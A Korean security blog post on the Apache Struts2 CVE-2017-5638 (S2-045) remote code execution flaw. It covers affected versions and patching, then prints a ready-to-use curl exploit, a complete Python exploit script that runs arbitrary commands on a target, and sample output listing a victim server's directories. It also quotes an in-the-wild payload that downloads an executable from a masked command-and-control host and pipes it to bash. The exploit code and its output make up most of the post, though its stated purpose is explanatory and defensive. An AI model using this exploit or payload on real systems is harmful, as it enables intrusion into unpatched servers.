본문 바로가기
IT 보안

Apache Struts2 (CVE-2017-5638) 취약점

by 떠도리c 2024. 8. 26.
반응형

Apache Struts2 (CVE-2017-5638) 취약점

Apache Struts 2 란?

Apache Struts 2는 Java 웹 애플리케이션을 개발하기 위한 오픈 소스 웹 애플리케이션 프레임워크입니다. 이 프레임워크는 Apache Software Foundation에서 개발 및 관리되며, 웹 애플리케이션의 구조와 흐름을 관리하고 다양한 웹 애플리케이션 구성 요소를 개발하기 위한 도구와 라이브러리를 제공합니다.

Model-View-Controller (MVC) 아키텍처를 기본으로 사용합니다.


CVE-2017-5638 취약점

Apache Struts 2 웹 애플리케이션 프레임워크에서 발견된 중요한 보안 취약점 중 하나로, 일반적으로 "Apache Struts S2-045" 또는 "Struts-Shock"로 불립니다.

이 취약점은 2017년 3월에 발견되었습니다.

 

취약점 특징

[원격 코드 실행 (RCE)]

이 취약점을 악용하면 공격자가 원격으로 웹 애플리케이션 서버에 악성 코드를 주입하고 실행할 수 있습니다. 이로 인해 웹 애플리케이션 서버가 위험에 노출되고 중요한 시스템 명령을 실행할 수 있습니다.

[HTTP Request 악용]

공격자는 특정 HTTP Request 를 사용하여 이 취약점을 악용할 수 있으며, 특별히 Content-Type 헤더에 임의의 OGNL(객체 그래프 표현 언어) 표현식을 포함하는 요청을 보내야 합니다.

 

영향받는 버전

[영향을 받는 버전]

Apache Struts 2 버전

  • 2.3.5 ~ 2.3.31
  • 2.5.0 ~ 2.5.10

[패치 및 업데이트]

최신 버전 업데이트 또는 취약 버전보다 상위 버전으로 업데이트

 

Struts2 Version 확인하기

Struts2 버전 확인은 WEB-INF/lib 안에 있는 JAR 파일의 버전을 확인하거나

jar 파일을 압축해제하여 안에 있는 META-IMF 디렉터리 안에 MANIFEST.MF 열어 확인 가능합니다.

 

CVE-2017-5638 PoC

기본 형태

curl -i -s -k -X $'GET' -H $'User-Agent: Mozilla/5.0' -H $'Content-Type: %{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='dir').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}' $'https://target'

 


PoC 파이썬 코드

#!/usr/bin/python
# -*- coding: utf-8 -*-
 
import urllib2
import urllib3
import requests
import httplib
import logging

from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

def exploit(url, cmd):
    payload = "%{(#_='multipart/form-data')."
    payload += "(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)."
    payload += "(#_memberAccess?"
    payload += "(#_memberAccess=#dm):"
    payload += "((#container=#context['com.opensymphony.xwork2.ActionContext.container'])."
    payload += "(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))."
    payload += "(#ognlUtil.getExcludedPackageNames().clear())."
    payload += "(#ognlUtil.getExcludedClasses().clear())."
    payload += "(#context.setMemberAccess(#dm))))."
    payload += "(#cmd='%s')." % cmd
    payload += "(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))."
    payload += "(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd}))."
    payload += "(#p=new java.lang.ProcessBuilder(#cmds))."
    payload += "(#p.redirectErrorStream(true)).(#process=#p.start())."
    payload += "(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()))."
    payload += "(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))."
    payload += "(#ros.flush())}"
 
    try:

        headers = {'User-Agent': 'Mozilla/5.0', 'Content-Type': payload}
        #request = urllib2.Request(url, headers=headers)
        request = requests.get(url, headers=headers,verify=False)
        #page = urllib2.urlopen(request).read()

    except httplib.IncompleteRead, e:

        request = e.partial
        data = urllib.urlencode(values)
        req = urllib2.Request(url, data)
        response = urllib2.urlopen(req)
        the_page = response.read()

    print("\nObject get.request aka Response Code")
    print(requests.get(url, headers=headers,verify=False))
    print("\nPAYLOAD SENT")
    print(payload)
    print("\nObject request.URL")
    print(request.url)
    print("\nObject request.headers")
    print(request.headers)
    print("\nObject request.request")
    print(request.request)
    print("\nObject headers")
    print(headers)
    print("\nObject request.TEXT aka This is what you are looking for...")
    print(request.text)

try:
    import http.client as http_client
except ImportError:
    # Python 2
    import httplib as http_client
http_client.HTTPConnection.debuglevel = 0
print("Check for CVE-2017-5638 by XSS.Cx\n")
logging.basicConfig()
logging.getLogger().setLevel(logging.DEBUG)
requests_log = logging.getLogger("requests.packages.urllib3")
requests_log.setLevel(logging.DEBUG)
requests_log.propagate = True

if __name__ == '__main__':

    import sys
    if len(sys.argv) != 3:
        print("[*] struts.py <url> <cmd>")

    else:

        print('[*] Checking Site....')
        url = sys.argv[1]
        cmd = sys.argv[2]
        print("[*] cmd: %s\n" % cmd)
        print(url, cmd)
        exploit(url, cmd)

 


PoC 결과

struts.py 매개변수를 url = https://victime.site, cmd = dir입력받아 수행한 결과입니다.

Content-Type 로 취약점 코드를 전달하여 OS확인과 dir 명령이 수행되는 것을 확인할 수 있습니다.

결과 : (#context.setMemberAccess(#dm)))).(#cmd='dir') 의 dir명령어 수행


Check for CVE-2017-5638 by XSS.Cx

[*] Checking Site....
[*] cmd: dir

('https://victim.site', 'dir')

Object get.request aka Response Code


PAYLOAD SENT
%{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='dir').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}

Object request.URL
https://victim.site

Object request.headers
{'Date': 'Fri, 10 Mar 2017 17:05:18 GMT', 'Connection': 'close', 'Content-Length': '845', 'Server': 'Microsoft-IIS/8.5'}

Object request.request


Object headers
{'Content-Type': "%{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='dir').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}", 'User-Agent': 'Mozilla/5.0'}

Object request.TEXT aka This is what you are looking for...
 Volume in drive D has no label.
 Volume Serial Number is 2A7B-A245

 Directory of d:\Program Files\Apache Software Foundation\Tomcat 9.0

06/07/2016  04:39 PM
. 06/07/2016 04:39 PM.. 06/07/2016 04:39 PMbin 12/07/2016 12:42 PMconf 06/07/2016 04:39 PMlib 05/11/2016 04:44 PM 58,153 LICENSE 03/10/2017 01:18 AMlogs 05/11/2016 04:44 PM 1,859 NOTICE 09/23/2016 07:58 AMtemp 05/11/2016 04:44 PM 21,630 tomcat.ico 05/11/2016 04:45 PM 74,202 Uninstall.exe 06/07/2016 04:39 PMwebapps 06/07/2016 04:39 PMwork 4 File(s) 155,844 bytes 9 Dir(s) 160,800,112,640 bytes free

 


실제 취약점 트래픽 예시

C&C서버에서 악성 파일을 다운로드 하는 형태로 탐지됩니다.

%{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd="(curl -s http://xx.xxx.xx.x/x.exe || wget -q -O - http://xx.xxx.xx.x/x.exe || lwp-download http://xx.xxx.xx.x/x.exe /tmp/2.gif) | bash -sh

Ref. ​https://github.com/xsscx/cve-2017-5638

 

반응형